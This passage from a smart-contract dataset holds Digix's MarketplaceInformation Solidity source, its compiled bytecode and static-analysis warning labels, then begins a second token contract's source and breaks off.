00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156132f85780820151818401526020810190506132dd565b50505050905090810190601f1680156133255780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161333f57fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723158206f314815ee616b663261cd5802c46ae6a082f934e845707c93f21054b387eb6464736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 5,777 |
0x2733fc7f6a5d5be13b1ffbcfcbcba83241e819c6
|
pragma solidity ^0.4.19;
contract DigixConstants {
/// general constants
uint256 constant SECONDS_IN_A_DAY = 24 * 60 * 60;
/// asset events
uint256 constant ASSET_EVENT_CREATED_VENDOR_ORDER = 1;
uint256 constant ASSET_EVENT_CREATED_TRANSFER_ORDER = 2;
uint256 constant ASSET_EVENT_CREATED_REPLACEMENT_ORDER = 3;
uint256 constant ASSET_EVENT_FULFILLED_VENDOR_ORDER = 4;
uint256 constant ASSET_EVENT_FULFILLED_TRANSFER_ORDER = 5;
uint256 constant ASSET_EVENT_FULFILLED_REPLACEMENT_ORDER = 6;
uint256 constant ASSET_EVENT_MINTED = 7;
uint256 constant ASSET_EVENT_MINTED_REPLACEMENT = 8;
uint256 constant ASSET_EVENT_RECASTED = 9;
uint256 constant ASSET_EVENT_REDEEMED = 10;
uint256 constant ASSET_EVENT_FAILED_AUDIT = 11;
uint256 constant ASSET_EVENT_ADMIN_FAILED = 12;
uint256 constant ASSET_EVENT_REMINTED = 13;
/// roles
uint256 constant ROLE_ZERO_ANYONE = 0;
uint256 constant ROLE_ROOT = 1;
uint256 constant ROLE_VENDOR = 2;
uint256 constant ROLE_XFERAUTH = 3;
uint256 constant ROLE_POPADMIN = 4;
uint256 constant ROLE_CUSTODIAN = 5;
uint256 constant ROLE_AUDITOR = 6;
uint256 constant ROLE_MARKETPLACE_ADMIN = 7;
uint256 constant ROLE_KYC_ADMIN = 8;
uint256 constant ROLE_FEES_ADMIN = 9;
uint256 constant ROLE_DOCS_UPLOADER = 10;
uint256 constant ROLE_KYC_RECASTER = 11;
uint256 constant ROLE_FEES_DISTRIBUTION_ADMIN = 12;
/// states
uint256 constant STATE_ZERO_UNDEFINED = 0;
uint256 constant STATE_CREATED = 1;
uint256 constant STATE_VENDOR_ORDER = 2;
uint256 constant STATE_TRANSFER = 3;
uint256 constant STATE_CUSTODIAN_DELIVERY = 4;
uint256 constant STATE_MINTED = 5;
uint256 constant STATE_AUDIT_FAILURE = 6;
uint256 constant STATE_REPLACEMENT_ORDER = 7;
uint256 constant STATE_REPLACEMENT_DELIVERY = 8;
uint256 constant STATE_RECASTED = 9;
uint256 constant STATE_REDEEMED = 10;
uint256 constant STATE_ADMIN_FAILURE = 11;
/// interactive contracts
bytes32 constant CONTRACT_INTERACTIVE_ASSETS_EXPLORER = "i:asset:explorer";
bytes32 constant CONTRACT_INTERACTIVE_DIGIX_DIRECTORY = "i:directory";
bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE = "i:mp";
bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE_ADMIN = "i:mpadmin";
bytes32 constant CONTRACT_INTERACTIVE_POPADMIN = "i:popadmin";
bytes32 constant CONTRACT_INTERACTIVE_PRODUCTS_LIST = "i:products";
bytes32 constant CONTRACT_INTERACTIVE_TOKEN = "i:token";
bytes32 constant CONTRACT_INTERACTIVE_BULK_WRAPPER = "i:bulk-wrapper";
bytes32 constant CONTRACT_INTERACTIVE_TOKEN_CONFIG = "i:token:config";
bytes32 constant CONTRACT_INTERACTIVE_TOKEN_INFORMATION = "i:token:information";
bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE_INFORMATION = "i:mp:information";
bytes32 constant CONTRACT_INTERACTIVE_IDENTITY = "i:identity";
/// controller contracts
bytes32 constant CONTRACT_CONTROLLER_ASSETS = "c:asset";
bytes32 constant CONTRACT_CONTROLLER_ASSETS_RECAST = "c:asset:recast";
bytes32 constant CONTRACT_CONTROLLER_ASSETS_EXPLORER = "c:explorer";
bytes32 constant CONTRACT_CONTROLLER_DIGIX_DIRECTORY = "c:directory";
bytes32 constant CONTRACT_CONTROLLER_MARKETPLACE = "c:mp";
bytes32 constant CONTRACT_CONTROLLER_MARKETPLACE_ADMIN = "c:mpadmin";
bytes32 constant CONTRACT_CONTROLLER_PRODUCTS_LIST = "c:products";
bytes32 constant CONTRACT_CONTROLLER_TOKEN_APPROVAL = "c:token:approval";
bytes32 constant CONTRACT_CONTROLLER_TOKEN_CONFIG = "c:token:config";
bytes32 constant CONTRACT_CONTROLLER_TOKEN_INFO = "c:token:info";
bytes32 constant CONTRACT_CONTROLLER_TOKEN_TRANSFER = "c:token:transfer";
bytes32 constant CONTRACT_CONTROLLER_JOB_ID = "c:jobid";
bytes32 constant CONTRACT_CONTROLLER_IDENTITY = "c:identity";
/// storage contracts
bytes32 constant CONTRACT_STORAGE_ASSETS = "s:asset";
bytes32 constant CONTRACT_STORAGE_ASSET_EVENTS = "s:asset:events";
bytes32 constant CONTRACT_STORAGE_DIGIX_DIRECTORY = "s:directory";
bytes32 constant CONTRACT_STORAGE_MARKETPLACE = "s:mp";
bytes32 constant CONTRACT_STORAGE_PRODUCTS_LIST = "s:products";
bytes32 constant CONTRACT_STORAGE_GOLD_TOKEN = "s:goldtoken";
bytes32 constant CONTRACT_STORAGE_JOB_ID = "s:jobid";
bytes32 constant CONTRACT_STORAGE_IDENTITY = "s:identity";
/// service contracts
bytes32 constant CONTRACT_SERVICE_TOKEN_DEMURRAGE = "sv:tdemurrage";
bytes32 constant CONTRACT_SERVICE_MARKETPLACE = "sv:mp";
bytes32 constant CONTRACT_SERVICE_DIRECTORY = "sv:directory";
/// fees distributors
bytes32 constant CONTRACT_DEMURRAGE_FEES_DISTRIBUTOR = "fees:distributor:demurrage";
bytes32 constant CONTRACT_RECAST_FEES_DISTRIBUTOR = "fees:distributor:recast";
bytes32 constant CONTRACT_TRANSFER_FEES_DISTRIBUTOR = "fees:distributor:transfer";
}
contract ContractResolver {
address public owner;
bool public locked;
function init_register_contract(bytes32 _key, address _contract_address) public returns (bool _success);
function unregister_contract(bytes32 _key) public returns (bool _success);
function get_contract(bytes32 _key) public constant returns (address _contract);
}
contract ResolverClient {
/// The address of the resolver contract for this project
address public resolver;
/// The key to identify this contract
bytes32 public key;
/// Make our own address available to us as a constant
address public CONTRACT_ADDRESS;
/// Function modifier to check if msg.sender corresponds to the resolved address of a given key
/// @param _contract The resolver key
modifier if_sender_is(bytes32 _contract) {
require(msg.sender == ContractResolver(resolver).get_contract(_contract));
_;
}
/// Function modifier to check resolver's locking status.
modifier unless_resolver_is_locked() {
require(is_locked() == false);
_;
}
/// @dev Initialize new contract
/// @param _key the resolver key for this contract
/// @return _success if the initialization is successful
function init(bytes32 _key, address _resolver)
internal
returns (bool _success)
{
bool _is_locked = ContractResolver(_resolver).locked();
if (_is_locked == false) {
CONTRACT_ADDRESS = address(this);
resolver = _resolver;
key = _key;
require(ContractResolver(resolver).init_register_contract(key, CONTRACT_ADDRESS));
_success = true;
} else {
_success = false;
}
}
/// @dev Destroy the contract and unregister self from the ContractResolver
/// @dev Can only be called by the owner of ContractResolver
function destroy()
public
returns (bool _success)
{
bool _is_locked = ContractResolver(resolver).locked();
require(!_is_locked);
address _owner_of_contract_resolver = ContractResolver(resolver).owner();
require(msg.sender == _owner_of_contract_resolver);
_success = ContractResolver(resolver).unregister_contract(key);
require(_success);
selfdestruct(_owner_of_contract_resolver);
}
/// @dev Check if resolver is locked
/// @return _locked if the resolver is currently locked
function is_locked()
private
constant
returns (bool _locked)
{
_locked = ContractResolver(resolver).locked();
}
/// @dev Get the address of a contract
/// @param _key the resolver key to look up
/// @return _contract the address of the contract
function get_contract(bytes32 _key)
public
constant
returns (address _contract)
{
_contract = ContractResolver(resolver).get_contract(_key);
}
}
/// @title Some useful constants
/// @author Digix Holdings Pte Ltd
contract Constants {
address constant NULL_ADDRESS = address(0x0);
uint256 constant ZERO = uint256(0);
bytes32 constant EMPTY = bytes32(0x0);
}
/// @title Condition based access control
/// @author Digix Holdings Pte Ltd
contract ACConditions is Constants {
modifier not_null_address(address _item) {
require(_item != NULL_ADDRESS);
_;
}
modifier if_null_address(address _item) {
require(_item == NULL_ADDRESS);
_;
}
modifier not_null_uint(uint256 _item) {
require(_item != ZERO);
_;
}
modifier if_null_uint(uint256 _item) {
require(_item == ZERO);
_;
}
modifier not_empty_bytes(bytes32 _item) {
require(_item != EMPTY);
_;
}
modifier if_empty_bytes(bytes32 _item) {
require(_item == EMPTY);
_;
}
modifier not_null_string(string _item) {
bytes memory _i = bytes(_item);
require(_i.length > 0);
_;
}
modifier if_null_string(string _item) {
bytes memory _i = bytes(_item);
require(_i.length == 0);
_;
}
modifier require_gas(uint256 _requiredgas) {
require(msg.gas >= (_requiredgas - 22000));
_;
}
function is_contract(address _contract)
public
constant
returns (bool _is_contract)
{
uint32 _code_length;
assembly {
_code_length := extcodesize(_contract)
}
if(_code_length > 1) {
_is_contract = true;
} else {
_is_contract = false;
}
}
modifier if_contract(address _contract) {
require(is_contract(_contract) == true);
_;
}
modifier unless_contract(address _contract) {
require(is_contract(_contract) == false);
_;
}
}
contract IdentityStorage {
function read_user(address _user) public constant returns (uint256 _id_expiration, bytes32 _doc);
}
contract MarketplaceStorage {
function read_user(address _user) public constant returns (uint256 _daily_dgx_limit, uint256 _total_purchased_today);
function read_user_daily_limit(address _user) public constant returns (uint256 _daily_dgx_limit);
function read_config() public constant returns (uint256 _global_daily_dgx_ng_limit, uint256 _minimum_purchase_dgx_ng, uint256 _maximum_block_drift, address _payment_collector);
function read_dgx_inventory_balance_ng() public constant returns (uint256 _balance);
function read_total_number_of_purchases() public constant returns (uint256 _total_number_of_purchases);
function read_total_number_of_user_purchases(address _user) public constant returns (uint256 _total_number_of_user_purchases);
function read_purchase_at_index(uint256 _index) public constant returns (address _recipient, uint256 _timestamp, uint256 _amount, uint256 _price);
function read_user_purchase_at_index(address _user, uint256 _index) public constant returns (address _recipient, uint256 _timestamp, uint256 _amount, uint256 _price);
function read_total_global_purchased_today() public constant returns (uint256 _total_global_purchased_today);
function read_total_purchased_today(address _user) public constant returns (uint256 _total_purchased_today);
function read_max_dgx_available_daily() public constant returns (uint256 _max_dgx_available_daily);
function read_price_floor() public constant returns (uint256 _price_floor_wei_per_dgx_mg);
}
contract MarketplaceControllerCommon {
}
contract MarketplaceController {
}
contract MarketplaceAdminController {
}
contract MarketplaceCommon is ResolverClient, ACConditions, DigixConstants {
function marketplace_admin_controller()
internal
constant
returns (MarketplaceAdminController _contract)
{
_contract = MarketplaceAdminController(get_contract(CONTRACT_CONTROLLER_MARKETPLACE_ADMIN));
}
function marketplace_storage()
internal
constant
returns (MarketplaceStorage _contract)
{
_contract = MarketplaceStorage(get_contract(CONTRACT_STORAGE_MARKETPLACE));
}
function marketplace_controller()
internal
constant
returns (MarketplaceController _contract)
{
_contract = MarketplaceController(get_contract(CONTRACT_CONTROLLER_MARKETPLACE));
}
}
/// @title Digix Marketplace Information
/// @author Digix Holdings Pte Ltd
/// @notice This contract is used to read the configuration of the Digix's Marketplace
contract MarketplaceInformation is MarketplaceCommon {
function MarketplaceInformation(address _resolver) public
{
require(init(CONTRACT_INTERACTIVE_MARKETPLACE_INFORMATION, _resolver));
}
function identity_storage()
internal
constant
returns (IdentityStorage _contract)
{
_contract = IdentityStorage(get_contract(CONTRACT_STORAGE_IDENTITY));
}
/// @dev show user's current marketplace information and configuration, as well as some global configurations
/// @param _user the user's ethereum address
/// @return {
/// "_user_daily_dgx_limit": "the amount of DGX that the user can purchase at any given day",
/// "_user_id_expiration": "if KYC approved this will be a non-zero value as Unix timestamp when the submitted ID will expire",
/// "_user_total_purchased_today": "The amount of tokens that the user has purchased in the last 24 hours",
/// "_config_maximum_block_drift": "The number of ethereum blocks for which a pricefeed is valid for"
/// "_config_minimum_purchase_dgx_ng": "The minimum amount of DGX that has to be purchased in one order",
/// "_config_payment_collector": "Ethereum address of the collector which collects marketplace ether sent by buyers to buy DGX"
/// }
function getUserInfoAndConfig(address _user)
public
constant
returns (uint256 _user_daily_dgx_limit, uint256 _user_id_expiration, uint256 _user_total_purchased_today,
uint256 _config_global_daily_dgx_ng_limit, uint256 _config_maximum_block_drift,
uint256 _config_minimum_purchase_dgx_ng, address _config_payment_collector)
{
(_user_daily_dgx_limit, _user_total_purchased_today) =
marketplace_storage().read_user(_user);
(_user_id_expiration,) = identity_storage().read_user(_user);
(_config_global_daily_dgx_ng_limit, _config_minimum_purchase_dgx_ng, _config_maximum_block_drift, _config_payment_collector) =
marketplace_storage().read_config();
}
/// @dev get global marketplace configuration
/// @return {
/// "_global_daily_dgx_ng_limit,": "the default max amount of DGX in nanograms the user can purchase daily",
/// "_minimum_purchase_dgx_ng": "The minimum DGX nanograms that can be purchased",
/// "_maximum_block_drift": "The number of blocks a pricefeed is valid for",
/// "_payment_collector": "The ETH address where the payment should be sent to"
/// }
function getConfig()
public
constant
returns (uint256 _global_daily_dgx_ng_limit, uint256 _minimum_purchase_dgx_ng, uint256 _maximum_block_drift, address _payment_collector)
{
(_global_daily_dgx_ng_limit, _minimum_purchase_dgx_ng, _maximum_block_drift, _payment_collector) =
marketplace_storage().read_config();
}
/// @dev show the user's daily limit on DGX purchase
/// @param _user the user's ethereum address
/// @return {
/// "_maximum_purchase_amount_ng": "The amount in DGX nanograms that the user can purchase daily"
/// }
function userMaximumPurchaseAmountNg(address _user)
public
constant
returns (uint256 _maximum_purchase_amount_ng)
{
_maximum_purchase_amount_ng = marketplace_storage().read_user_daily_limit(_user);
}
/// @dev show how many nanograms of DGX is in the Marketplace's inventory
/// @return {
/// "_available_ng": "The amount in DGX nanograms in the inventory"
/// }
function availableDgxNg()
public
constant
returns (uint256 _available_ng)
{
_available_ng = marketplace_storage().read_dgx_inventory_balance_ng();
}
/// @dev return the total number of purchases done on marketplace
/// @return _total_number_of_purchases the total number of purchases on marketplace
function readTotalNumberOfPurchases()
public
constant
returns (uint256 _total_number_of_purchases)
{
_total_number_of_purchases = marketplace_storage().read_total_number_of_purchases();
}
/// @dev read the total number of purchases by a user
/// @param _user Ethereum address of the user
/// @return _total_number_of_user_purchases the total number of purchases made by the user on marketplace
function readTotalNumberOfUserPurchases(address _user)
public
constant
returns (uint256 _total_number_of_user_purchases)
{
_total_number_of_user_purchases = marketplace_storage().read_total_number_of_user_purchases(_user);
}
/// @dev read the purchase details at an index from all purchases
/// @param _index the index of the purchase in all purchases (index starts from 0)
/// @return {
/// "_recipient": "DGX was purchases to this Ethereum address",
/// "_timestamp": "the time at which the purchase was made",
/// "_amount": "the amount of DGX nanograms purchased in this purchase",
/// "_price": "the price paid by purchaser in web per dgx milligram"
/// }
function readPurchaseAtIndex(uint256 _index)
public
constant
returns (address _recipient, uint256 _timestamp, uint256 _amount, uint256 _price)
{
(_recipient, _timestamp, _amount, _price) = marketplace_storage().read_purchase_at_index(_index);
}
/// @dev read the purchase details by a user at an index from all the user's purchases
/// @param _index the index of the purchase in all purchases by this user (index starts from 0)
/// @return {
/// "_recipient": "DGX was purchases to this Ethereum address",
/// "_timestamp": "the time at which the purchase was made",
/// "_amount": "the amount of DGX nanograms purchased in this purchase",
/// "_price": "the price paid by purchaser in web per dgx milligram"
/// }
function readUserPurchaseAtIndex(address _user, uint256 _index)
public
constant
returns (address _recipient, uint256 _timestamp, uint256 _amount, uint256 _price)
{
(_recipient, _timestamp, _amount, _price) = marketplace_storage().read_user_purchase_at_index(_user, _index);
}
/// @dev read the total amount of DGX purchased today
/// @return _total_purchased_today the total amount of DGX purchased today at marketplace
function readGlobalPurchasedToday()
public
constant
returns (uint256 _total_purchased_today)
{
_total_purchased_today = marketplace_storage().read_total_global_purchased_today();
}
/// @dev read the amount of DGX purchased today by a user
/// @param _user Ethereum address of the user
/// @return _user_total_purchased_today the total amount of DGX purchased today by a user
function readUserPurchasedToday(address _user)
public
constant
returns (uint256 _user_total_purchased_today)
{
_user_total_purchased_today = marketplace_storage().read_total_purchased_today(_user);
}
/// @dev read the marketplace configurations
/// @return {
/// "_global_default_user_daily_limit,": "Default maximum number of DGX nanograms that a user can purchase per day",
/// "_minimum_purchase_dgx_ng": "minimum number of DGX nanograms that has to be purchased in a single purchase",
/// "_maximum_block_drift": "the number of ethereum blocks for which the pricefeed is valid for",
/// "_payment_collector": "the ethereum address that will receive the eth paid for a purchase",
/// "_max_dgx_available_daily": "maximum number of DGX nanograms that are available for purchase on marketplace in a day",
/// "_price_floor_wei_per_dgx_mg": "the price floor, minimum price, below which a purchase is invalid"
function readMarketplaceConfigs()
public
constant
returns (uint256 _global_default_user_daily_limit,
uint256 _minimum_purchase_dgx_ng,
uint256 _maximum_block_drift,
address _payment_collector,
uint256 _max_dgx_available_daily,
uint256 _price_floor_wei_per_dgx_mg)
{
(_global_default_user_daily_limit, _minimum_purchase_dgx_ng, _maximum_block_drift, _payment_collector)
= marketplace_storage().read_config();
_max_dgx_available_daily = marketplace_storage().read_max_dgx_available_daily();
_price_floor_wei_per_dgx_mg = marketplace_storage().read_price_floor();
}
}
|
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806304f3bcec146100f657806313afa97a1461014b5780631ba60f9b146101c35780631e49d5ab146101ec5780633943380c1461028f5780633f83acff146102c05780634309035714610327578063649c07d51461037457806383197ef0146103c5578063a1988458146103f2578063c3f909d41461041b578063c7d128d114610485578063db4ecbc1146104d2578063de089aee14610527578063ec48055714610574578063f31695061461059d578063f6c3f6cd14610615575b600080fd5b341561010157600080fd5b6101096106ac565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561015657600080fd5b61015e6106d1565b604051808781526020018681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001965050505050505060405180910390f35b34156101ce57600080fd5b6101d66108b2565b6040518082815260200191505060405180910390f35b34156101f757600080fd5b610223600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610947565b604051808881526020018781526020018681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200197505050505050505060405180910390f35b341561029a57600080fd5b6102a2610bae565b60405180826000191660001916815260200191505060405180910390f35b34156102cb57600080fd5b6102e5600480803560001916906020019091905050610bb4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561033257600080fd5b61035e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c78565b6040518082815260200191505060405180910390f35b341561037f57600080fd5b6103ab600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d46565b604051808215151515815260200191505060405180910390f35b34156103d057600080fd5b6103d8610d70565b604051808215151515815260200191505060405180910390f35b34156103fd57600080fd5b610405610ff4565b6040518082815260200191505060405180910390f35b341561042657600080fd5b61042e611089565b604051808581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390f35b341561049057600080fd5b6104bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611145565b6040518082815260200191505060405180910390f35b34156104dd57600080fd5b6104e5611213565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561053257600080fd5b61055e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611239565b6040518082815260200191505060405180910390f35b341561057f57600080fd5b610587611307565b6040518082815260200191505060405180910390f35b34156105a857600080fd5b6105be600480803590602001909190505061139c565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390f35b341561062057600080fd5b610655600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611464565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806000806106e2611562565b73ffffffffffffffffffffffffffffffffffffffff1663b764e8f56000604051608001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401608060405180830381600087803b151561074d57600080fd5b6102c65a03f1151561075e57600080fd5b5050506040518051906020018051906020018051906020018051905080965081975082985083995050505050610792611562565b73ffffffffffffffffffffffffffffffffffffffff16637a58b0586000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156107fd57600080fd5b6102c65a03f1151561080e57600080fd5b505050604051805190509150610822611562565b73ffffffffffffffffffffffffffffffffffffffff1663ebe36cb06000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561088d57600080fd5b6102c65a03f1151561089e57600080fd5b505050604051805190509050909192939495565b60006108bc611562565b73ffffffffffffffffffffffffffffffffffffffff16639b69608f6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561092757600080fd5b6102c65a03f1151561093857600080fd5b50505060405180519050905090565b600080600080600080600061095a611562565b73ffffffffffffffffffffffffffffffffffffffff166339d20a5f896000604051604001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506040805180830381600087803b15156109fb57600080fd5b6102c65a03f11515610a0c57600080fd5b505050604051805190602001805190508096508198505050610a2c611592565b73ffffffffffffffffffffffffffffffffffffffff166339d20a5f896000604051604001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506040805180830381600087803b1515610acd57600080fd5b6102c65a03f11515610ade57600080fd5b505050604051805190602001805190505080965050610afb611562565b73ffffffffffffffffffffffffffffffffffffffff1663b764e8f56000604051608001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401608060405180830381600087803b1515610b6657600080fd5b6102c65a03f11515610b7757600080fd5b5050506040518051906020018051906020018051906020018051905080945081965082955083975050505050919395979092949650565b60015481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633f83acff836000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b1515610c5657600080fd5b6102c65a03f11515610c6757600080fd5b505050604051805190509050919050565b6000610c82611562565b73ffffffffffffffffffffffffffffffffffffffff1663fb51a1ea836000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610d2457600080fd5b6102c65a03f11515610d3557600080fd5b505050604051805190509050919050565b600080823b905060018163ffffffff161115610d655760019150610d6a565b600091505b50919050565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf3090126000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610e0257600080fd5b6102c65a03f11515610e1357600080fd5b50505060405180519050915081151515610e2c57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638da5cb5b6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610eb957600080fd5b6102c65a03f11515610eca57600080fd5b5050506040518051905090508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c8b56bda6001546000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b1515610fb257600080fd5b6102c65a03f11515610fc357600080fd5b505050604051805190509250821515610fdb57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16ff5b6000610ffe611562565b73ffffffffffffffffffffffffffffffffffffffff1663160c52396000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561106957600080fd5b6102c65a03f1151561107a57600080fd5b50505060405180519050905090565b600080600080611097611562565b73ffffffffffffffffffffffffffffffffffffffff1663b764e8f56000604051608001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401608060405180830381600087803b151561110257600080fd5b6102c65a03f1151561111357600080fd5b505050604051805190602001805190602001805190602001805190508094508195508296508397505050505090919293565b600061114f611562565b73ffffffffffffffffffffffffffffffffffffffff1663d60743b1836000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156111f157600080fd5b6102c65a03f1151561120257600080fd5b505050604051805190509050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611243611562565b73ffffffffffffffffffffffffffffffffffffffff166352a27baf836000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156112e557600080fd5b6102c65a03f115156112f657600080fd5b505050604051805190509050919050565b6000611311611562565b73ffffffffffffffffffffffffffffffffffffffff1663c2f3d7886000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561137c57600080fd5b6102c65a03f1151561138d57600080fd5b50505060405180519050905090565b6000806000806113aa611562565b73ffffffffffffffffffffffffffffffffffffffff166384bc8d2e866000604051608001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050608060405180830381600087803b151561142057600080fd5b6102c65a03f1151561143157600080fd5b50505060405180519060200180519060200180519060200180519050809450819550829650839750505050509193509193565b600080600080611472611562565b73ffffffffffffffffffffffffffffffffffffffff1663991dd5b687876000604051608001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050608060405180830381600087803b151561151c57600080fd5b6102c65a03f1151561152d57600080fd5b505050604051805190602001805190602001805190602001805190508094508195508296508397505050505092959194509250565b600061158d7f733a6d7000000000000000000000000000000000000000000000000000000000610bb4565b905090565b60006115bd7f733a6964656e7469747900000000000000000000000000000000000000000000610bb4565b905090565b6000808273ffffffffffffffffffffffffffffffffffffffff1663cf3090126000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561163157600080fd5b6102c65a03f1151561164257600080fd5b50505060405180519050905060001515811515141561180e5730600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550826000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600181600019169055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c0f6ef4a600154600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15156117df57600080fd5b6102c65a03f115156117f057600080fd5b50505060405180519050151561180557600080fd5b60019150611813565b600091505b50929150505600a165627a7a7230582060ad41540801e25dd9ab9c7d78f1559187b75365268d9fcff2a7fe591c046e500029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
| 5,778 |
0xF771Cd3EA4AfBb55e1b2b85E3B9E2388F0Fd43B8
|
pragma solidity ^0.4.24;
contract Owned {
address public owner;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner returns (address account) {
owner = newOwner;
return owner;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
